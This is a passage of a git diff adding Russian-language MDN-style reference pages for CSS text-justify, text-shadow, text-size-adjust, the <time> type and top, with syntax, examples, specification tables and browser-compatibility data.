+<pre class="brush: html">&lt;p class="none"&gt;&lt;code&gt;text-justify: none&lt;/code&gt; —&lt;br&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="auto"&gt;&lt;code&gt;text-justify: auto&lt;/code&gt; —&lt;br&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="dist"&gt;&lt;code&gt;text-justify: distribute&lt;/code&gt; —&lt;br&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="word"&gt;&lt;code&gt;text-justify: inter-word&lt;/code&gt; —&lt;br&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="char"&gt;&lt;code&gt;text-justify: inter-character&lt;/code&gt; —&lt;br&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;</pre>
+</div>
+
+<pre class="brush: css">p {
+  font-size: 1.5em;
+  border: 1px solid black;
+  padding: 10px;
+  width: 95%;
+  margin: 10px auto;
+  text-align: justify;
+}
+
+.none {
+  text-justify: none;
+}
+
+.auto {
+  text-justify: auto;
+}
+
+.dist {
+  text-justify: distribute;
+}
+
+.word {
+  text-justify: inter-word;
+}
+
+.char {
+  text-justify: inter-character;
+}</pre>
+
+<p>{{EmbedLiveSample("Examples","100%",400)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-justify-property', 'text-justify')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.text-justify")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("text-align")}}</li>
+</ul>
diff --git a/files/ru/web/css/text-shadow/index.html b/files/ru/web/css/text-shadow/index.html
new file mode 100644
index 0000000000..891786f7b1
--- /dev/null
+++ b/files/ru/web/css/text-shadow/index.html
@@ -0,0 +1,138 @@
+---
+title: text-shadow
+slug: Web/CSS/text-shadow
+translation_of: Web/CSS/text-shadow
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS-свойство <strong><code>text-shadow</code></strong> добавляет тени к тексту. Свойство задаётся разделённым запятыми списком теней, которые будут применены к тексту и к любым его свойствам <code><a href="/en-US/docs/Web/CSS/text-decoration">decorations</a></code>.</span> Любая тень описывается комбинацией смещений по осям X и Y относительно элемента, радиусом размытия и цветом.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-shadow.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера размещён в репозитории на GitHub. Если Вы желаете внести вклад в проект интерактивных примеров, пожалуйста создайте клон <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам запрос на извлечение (pull request).</p>
+
+<h2 id="Syntax_2">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">/* смещение-x | смещение-y | радиус-размытия | цвет */
+text-shadow: 1px 1px 2px black;
+
+/* цвет | смещение-x | смещение-y | радиус-размытия */
+text-shadow: #fc0 1px 0 10px;
+
+/* смещение-x | смещение-y | цвет */
+text-shadow: 5px 5px #558abb;
+
+/* цвет | смещение-x | смещение-y */
+text-shadow: white 2px 5px;
+
+/* смещение-x | смещение-y
+/* Используем значения по умолчанию для цвета и радиуса-размытия */
+text-shadow: 5px 10px;
+
+/* Значения принятые глобально */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;
+</pre>
+
+<p>Это свойство определено как разделённый запятыми список теней.</p>
+
+<p>Каждая тень определена как два или три значения <code>&lt;длина&gt;</code>, за которыми следует необязательное значение <code>&lt;цвет&gt;</code>. Первые два значения <code>&lt;длина&gt;</code> определяют параметры <code>&lt;смещение-x&gt;</code> и <code>&lt;смещение-y&gt;</code>. Третье необязательное значение <code>&lt;длина&gt; задаёт</code> <code>&lt;радиус-размытия&gt;</code>. Значение <code>&lt;цвет&gt;</code> определяет цвет тени.</p>
+
+<p>Если определены больше чем одна тень, тени накладываются друг на друга в порядке обратном порядку их определения, что значит, первая тень окажется поверх последующих.</p>
+
+<p>Это свойство можно применить к <a href="/ru-RU/docs/Web/CSS/Pseudo-elements">псевдо-элементам</a> {{cssxref("::first-line")}} и {{cssxref("::first-letter")}}.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;цвет&gt;")}}</dt>
+ <dd>Необязательный. Цвет тени. Параметр может быть определён как до, так и после значений смещений. Если значение не задано, то его цвет будет определяться браузером пользователя, поэтому, для сохранения согласованности в отображении в браузерах, рекомендуется опредлить значение цвета явно.</dd>
+ <dt><code>&lt;смещение-x&gt; &lt;смещение-y&gt;</code></dt>
+ <dd>Обязательные. Эти величины {{cssxref("&lt;длина&gt;")}} задают расстояние тени от текста. <code>&lt;смещение-x&gt;</code> определяет горизонтальное расстояние; отрицательное значение размещает тень левее от текста. <code>&lt;смещение-y&gt;</code> определяет вертикальное растояние; отрицательное значение размещает тень выше текста. Если оба значения заданы в <code>0</code>, тень будет располагаться прямо за текстом, она может быть видна из-за эффекта <code>&lt;радиус-размытия&gt;</code>.</dd>
+ <dt><code>&lt;радиус-размытия&gt;</code></dt>
+ <dd>Необязательный. Это величина {{cssxref("&lt;длина&gt;")}}. Чем больше значение, тем сильнее задаётся размытие; тень становится шире и светлее. Значение по умолчанию <code>0</code>, в случае когда параметр не определён.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простая_тень">Простая тень</h3>
+
+<div>
+<pre class="brush: css">.red-text-shadow {
+  text-shadow: red 0 -2px;
+}</pre>
+
+<pre class="brush: html">&lt;p class="red-text-shadow"&gt;Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.&lt;/p&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Simple_shadow', '660px', '90px')}}</p>
+
+<h3 id="Множественные_тени">Множественные тени</h3>
+
+<div>
+<pre class="brush:css">.white-text-with-blue-shadow {
+  text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+  color: white;
+  font: 1.5em Georgia, serif;
+}</pre>
+
+<pre class="brush: html">&lt;p class="white-text-with-blue-shadow"&gt;Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.&lt;/p&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Multiple_shadows', '660px', '170px')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>text-shadow</code> как анимируемую.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Свойство CSS <code>text-shadow</code> было <a class="external" href="http://www.w3.org/TR/2008/REC-CSS2-20080411/text.html#text-shadow-props">ошибочно определено в CSS2</a> и удалено из CSS2 (Level 1). Спецификация The CSS Text Module Level 3 исправила синтаксис. Позже оно было перемещено в <a href="https://www.w3.org/TR/css-text-decor-3/">CSS Text Decoration Module Level 3</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="Syntax">{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице была сформирована из структурированных данных. Если Вы хотите внести вклад в эти данные, сверьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение (pull request).</div>
+
+<p>{{Compat("css.properties.text-shadow")}}</p>
+
+<h3 id="Примечание_Quantum_CSS">Примечание Quantum CSS</h3>
+
+<ul>
+ <li>В движке Gecko есть программная ошибка в результате которой метод перехода ({{cssxref("transition")}}) не будет производить переход от элемента со свойством <code>text-shadow</code> с заданным цветом к элементу со свойством <code>text-shadow</code> без заданного цвета  ({{bug(726550)}}). Данная ошибка была исправлена в параллельной ветке движка CSS для Firefox (так же известном как <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> или <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, выпуск которого запланирован уже в версии Firefox 57).</li>
+</ul>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li><a href="https://cssgenerator.org/text-shadow-css-generator.html">Text Shadow CSS Generator</a> - Интерактивный генератор теней CSS.</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>Тип данных {{cssxref("&lt;color&gt;")}} (для определения цвета теней)</li>
+ <li><a href="/ru-RU/docs/Web/HTML/Applying_color">Определение цвета для элемента HTML посредством CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/text-size-adjust/index.html b/files/ru/web/css/text-size-adjust/index.html
new file mode 100644
index 0000000000..fc87bf341b
--- /dev/null
+++ b/files/ru/web/css/text-size-adjust/index.html
@@ -0,0 +1,165 @@
+---
+title: text-size-adjust
+slug: Web/CSS/text-size-adjust
+tags:
+  - Эксперементально
+translation_of: Web/CSS/text-size-adjust
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>text-size-adjust</code></strong> контролирует алгоритм увеличения текста, используемый на некоторых смартфонах и планшетах. Другие браузеры будут игнорировать это свойство.</p>
+
+<p>Так как это свойство нестандартное, нужно использовать префиксы: <code>-moz-text-size-adjust</code>, <code>-webkit-text-size-adjust</code>, и <code>-ms-text-size-adjust</code>.</p>
+
+<p>Поскольку при разработке многих сайтов не подразумевался их просмотр на мобильных устройствах, то мобильные браузеры отличаются от браузеров для настольных компьютеров способом вывода страницы на экран. Для размещения страниц они используют не ширину экрана устройства, а {{glossary("viewport")}}, который значительно шире, обычно 800 или 1000 пикселей. Чтобы вернуть соответствие слишком широкой страницы истинному размеру устройства, они или показывают лишь часть того, что на самом деле визуализировано, или же уменьшают размер viewport до размеров устройства.</p>
+
+<p>Так как текст, который был уменьшен для того, чтобы уместиться на мобильном экране, может стать очень маленьким, многие мобильные браузеры применяют алгоритм увеличения текста для того, чтобы масштабировать текст и сделать его более удобным для чтения. Когда элемент, содержащий текст, использует 100% ширины экрана, алгоритм увеличивает размер его текста, но без изменения макета. Свойство <code>text-size-adjust</code>  позволяет веб-разработчикам отменить или изменить это поведение, так как веб-страницы, созданные с учётом вывода на маленькие экраны, не нуждаются в нём.</p>
+
+<p>This approach has been used as numerous web sites are not able to cope with small screens and are not usable when using the classical layout algorithm. This technique has drawbacks: the text is so tiny that it is unreadable without zooming. Even so, the user experience is better with the classical approach, which often leads to put secondary content at the top of the smartphone display, effectively pushing the main content of the page outside the viewport.</p>
+
+<p>But when the user zoomed in until the text becomes readable, an horizontal scrollbar is often needed as the line becomes larger than the width of the screen. This horizontal scrollbar has to be used to read each line of the text, which is a user experience nightmare. To prevent this, several mobile browsers implement a text <strong>inflation</strong> algorithm. When a focused element containing text use 100 % of the width of the screen, its text size is increased until it reached a readable size, without modifying the layout and removing the need of an horizontal scrollbar.</p>
+
+<p>The <code>text-size-adjust</code> property allows Web authors to opt out from this behavior, as Web pages designed to handle small screen widths do not need it.</p>
+
+<div class="note"><strong>Предупреждения</strong><strong>:</strong>
+
+<ul>
+ <li>Это свойство является нестандартным. In order to use it, Web authors have to duplicate, or even triplicate it, prefixed for each engine supporting it.</li>
+ <li>Its behavior, and even the syntax, is slightly different from one browser engine to the other. Web developers should read the browser compatibility section with the required attention.</li>
+ <li><strong>Это свойство работает только на смартфонах. </strong>As there is no inflation algorithm on desktop browsers, and on some tablet browsers like the iPad, the property is not supported there (and ignored). This property is only designed to opt out, or to cancel this opt-out, of the inflating behavior, <em>not to opt in</em>.</li>
+ <li>If <code>-webkit-text-size-adjust</code> is explicitly set to <code>none</code>, old versions of Webkit-based desktop and tablet browsers, like Chrome≤26 or Safari≤5, instead of ignoring the property, will prevent the user to zoom in or out the Web page.<a href="https://bugs.webkit.org/show_bug.cgi?id=56543">#</a></li>
+ <li>Not all engines do allow to control the final size of the text using a percentage value (E.g. Webkit and Trident do allow it, Gecko doesn't). Again Web developers should read the browser compatibility section with the required attention.</li>
+</ul>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css notranslate">/* Text is never inflated */
+text-size-adjust: none;
+
+/* Text may be inflated */
+text-size-adjust: auto;
+
+/* Text may be inflated in this exact proportion */
+text-size-adjust: 80%;
+
+/* Глобальные значения */
+text-size-adjust: inherit;
+text-size-adjust: initial;
+text-size-adjust: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Is a keyword preventing the usage of the inflation algorithm on the element. Basically, this means that the element will be displayed without its font inflated. On old WebKit-based desktop browsers (Chrome≤26, Safari≤5), this will instead prevent the user from zooming the webpage in or out.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Is a keyword allowing the usage of the inflation algorithm on the element. Browsers are not forced to use it and they won't do it on desktops and on some tablets. Its main use is to cancel a <code>none</code> value previously set.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>A percentage value is a synonym of the <code>auto</code> keyword, with the additional information that the percentage value is the increase rate to be applied to the font size when the inflation algorithm is applied.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Text Size Adjust", "#adjustment-control", "text-size-adjust")}}</td>
+   <td>{{Spec2("CSS Text Size Adjust")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенности</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Проценты</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенности</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("11.0")}} {{property_prefix("-moz")}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-ms")}}<sup>[2]</sup><br>
+    11{{property_prefix("-webkit")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Процент</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] There is a bug in old Webkit-based desktop browsers. If <code>-webkit-text-size-adjust</code> is explicitly set to <code>none</code>, Webkit-based desktop browsers, like Chrome or Safari, instead of ignoring the property, will prevent the user to zoom in or out the Web page. See <a href="https://bugs.webkit.org/show_bug.cgi?id=56543">Bug 56543</a> (affected Safari≤5 &amp; Chrome≤26), <a href="https://code.google.com/p/chromium/issues/detail?id=163359">Bug 163359</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=84186">Bug 84186</a>.</p>
+
+<p>[2] If the viewport is set using {{HTMLElement("meta")}} element, the value of the CSS <code>text-size-adjust</code> property is ignored. See <a href="https://msdn.microsoft.com/en-us/library/ie/dn793579(v=vs.85).aspx">detailed implementation hints on MSDN</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="link-https" href="https://developer.apple.com/library/ios/#DOCUMENTATION/AppleApplications/Reference/SafariWebContent/AdjustingtheTextSize/AdjustingtheTextSize.html">Документация</a> от Apple.</li>
+ <li><a class="external" href="http://dbaron.org/log/20111126-font-inflation">Описание поведения</a> Gecko от L. David Baron.</li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/windowsphone/develop/ff462082(v=vs.105).aspx">Документация</a> от Microsoft.</li>
+</ul>
diff --git a/files/ru/web/css/time/index.html b/files/ru/web/css/time/index.html
new file mode 100644
index 0000000000..c300093e72
--- /dev/null
+++ b/files/ru/web/css/time/index.html
@@ -0,0 +1,87 @@
+---
+title: <time>
+slug: Web/CSS/time
+tags:
+  - Верстка
+  - Типы данных
+  - время
+translation_of: Web/CSS/time
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Types">Тип данных</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>&lt;time&gt;</code></strong> представляет значение времени, выраженное в секундах или милисекундах. Он используется в {{cssxref("animation")}}, {{cssxref("transition")}}, и связанных свойствах.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;time&gt;</code> состоит из ​​​​​​{{cssxref("&lt;number&gt;")}}, который следует за одним из нижеперечисленных значений. На выбор, ему может предшествовать символ <code>+</code> или <code>-</code> символ. Как и во всех измерениях, между символом и числом не допускается пробел.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Хотя число <code>0</code> имеет одно значение, независимо от единиц измерения, они не могут быть опущены. Другими словами <code>0</code> недопустимо и представляется <code>0s</code> или <code>0ms</code>.</p>
+</div>
+
+<h3 id="Единицы">Единицы</h3>
+
+<dl>
+ <dt><strong><code id="s">s</code></strong></dt>
+ <dd>Представляет время в секундах. Примеры: <code>0s</code>, <code>1.5s</code>, <code>-60s</code>.</dd>
+ <dt><strong><code id="ms">ms</code></strong></dt>
+ <dd>Представляет время в милисекундах. Примеры: <code>0ms</code>, <code>150.25ms</code>, <code>-60000ms</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Преобразование между <code>s</code> и <code>ms</code> следует из логики <code>1s</code> = <code>1000ms</code>.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Валидное_время">Валидное время</h3>
+
+<pre>12s         Положительное целочисленные
+-456ms      Отрицательное целочисленные
+4.3ms       Нецелочисленное
+14mS        Единица регистронечувствительна, однако, заглавные буквы не рекомендуются
++0s         Ноль с первоначальным + и единица измерения
+-0ms        Ноль с первоначальным - и единица измерения
+</pre>
+
+<h3 id="Невалидное_время">Невалидное время</h3>
+
+<pre class="example-bad">0           Хотя ноль разрешен без единиц измерения для &lt;length&gt;, это невалидно для &lt;time&gt;.
+12.0        Это &lt;number&gt;, а не &lt;time&gt;, так как пропущена единица измерения.
+7 ms        Пробел между числом и единицей измерения не допускается.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values','#time','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values','#time','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Нормативное определение <code>s</code> и <code>ms</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1','aural.html#times','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Неформальное определение<code>s</code> и <code>ms</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.types.time")}}</p>
diff --git a/files/ru/web/css/top/index.html b/files/ru/web/css/top/index.html
new file mode 100644
index 0000000000..bdbc98174e
--- /dev/null
+++ b/files/ru/web/css/top/index.html
@@ -0,0 +1,211 @@
+---
+title: top
+slug: Web/CSS/top
+tags:
+  - CSS
+  - CSS Позиционирование
+  - CSS свойство
+  - Справка
+translation_of: Web/CSS/top
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS" title="CSS">CSS</a> свойство <strong><code>top</code></strong> частично определяет вертикальную позицию позиционируемого элемента. Оно не влияет на непозиционируемые элементы (т.е. <strong><code>top</code></strong> не применится, если задано <code>position: static</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/top.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<p>Эффект свойства <code>top</code> зависит от того, как позиционируется элемент (то есть от значения свойства {{cssxref("position")}}):</p>
+
+<ul>
+ <li>Когда задано <code>position: absolute</code> или <code>fixed</code> — значение свойства <code>top</code> устанавливается как расстояние между верхней гранью элемента и верхней гранью родительского контейнера.</li>
+ <li>Когда задано <code>position: relative</code> — значение свойство <code>top</code> устанавливается как расстояние, на которое смещается верхний край элемента от нормальной позиции.</li>
+ <li>Когда задано <code>position: sticky</code> — свойство <code>top</code> работает так, как при <code>position: relative</code> во время нахождения элемента внутри области просмотра, и как <code>position: fixed</code> вне области просмотра.</li>
+ <li>Когда задано <code>position: static</code> — свойство <code>top</code> <em>не имеет никакого эффекта</em>.</li>
+</ul>
+
+<p>Когда заданы оба свойства <code>top</code> и {{cssxref("bottom")}}, а свойство {{cssxref("position")}} установлено как <code>absolute</code> или <code>fixed</code>, то оба свойства <code>top</code> и {{cssxref("bottom")}} учитываются. Во всех остальных ситуациях, если {{cssxref("height")}} как-либо ограничена или <code>position</code> установлено как <code>relative</code>, то свойство <code>top</code> будет учтено, а {{cssxref("bottom")}} — проигнорировано.</p>
+
+<h2 id="Синтаксис" name="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения величин */
+top: 3px;
+top: 2.4em;
+
+/* Процентные значения от высоты родительского блока */
+top: 10%;
+
+/* Ключевое слово */
+top: auto;
+
+/* Глобальные значения */
+top: inherit;
+top: initial;
+top: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Отрицательная, нулевая или положительная величина, которая представляет:
+ <ul>
+  <li>для <em>абсолютно позиционируемых элементов</em> &amp;mdash расстояние от верхнего края содержащего их блока;</li>
+  <li>для <em>относительно позиционируемых элементов</em> &amp;mdash расстояние, на которое элемент смещается вниз, относительно своего положения в нормальном потоке.</li>
+ </ul>
+ </dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Процент от высоты родительского блока.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Это ключевое слово, которое означает:
+ <ul>
+  <li>для <em>абсолютно спозиционированных элементов</em> — позиция элемента опирается на свойство {{cssxref("bottom")}}, пока <code>height: auto</code> обрабатывается как высота в зависимости от содержимого; если так же и <code>bottom: auto</code>, то элемент располагается так же, как при статическом позиционировании.</li>
+  <li>для <em>относительно спозиционированных элементов</em> — расстояние элемента от его обычной позиции основано на свойстве {{cssxref ("bottom")}}; если значение <code>bottom</code> также <code>auto</code>, элемент вообще не перемещается по вертикали.</li>
+ </ul>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Это ключевое слово указывает, что значение будет соответствовать вычисленному значению родительского блока (необязательно непосредственного родителя). Вычисляемое значение обрабатывается так же, как {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}} или ключевое слово <code>auto</code>.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример" name="Пример">Пример</h2>
+
+<pre class="brush: css">/* Для body могут быть использованы единицы px, также и для div */
+body{
+  width: 100%;
+  height: 100%;
+}
+
+/* div теперь может использовать значения в процентах (body ширина и высота установлены) */
+div {
+  position: absolute;
+  left: 15%;
+  top: 30%;
+  bottom: 30%;
+  width: 70%;
+  height: 40%;
+  text-align: left;
+  border: 3px rgb(0,0,0) solid;
+}</pre>
+
+<pre class="brush: html"> &lt;?xml version="1.0" encoding="utf-8"?&gt;
+ &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+           "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+ &lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"&gt;
+   &lt;head&gt;
+     &lt;meta http-equiv="Content-Type" content="application/xhtml+xml" /&gt;
+     &lt;title&gt;Mozilla.org height top left width percentage CSS&lt;/title&gt;
+     &lt;style type="text/css"&gt;
+       /* Для body могут быть использованы единицы px, также и для div */
+       body {
+         width: 100%;
+         height: 100%;
+       }
+       /* div теперь может использовать значения в процентах (body ширина и высота установлены) */
+       div {
+         position: absolute;
+         left: 15%;
+         top: 30%;
+         bottom: 30%;
+         width: 70%;
+         height: 40%;
+         text-align: left;
+         border: 3px rgb(0,0,0) solid;
+       }
+     &lt;/style&gt;
+   &lt;/head&gt;
+   &lt;body&gt;
+      &lt;center&gt;
+        &lt;div&gt;
+             ...Some content...
+        &lt;/div&gt;
+      &lt;/center&gt;
+
+   &lt;/body&gt;
+ &lt;/html&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'top')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>top</code> как анимируемое</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-top', 'top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
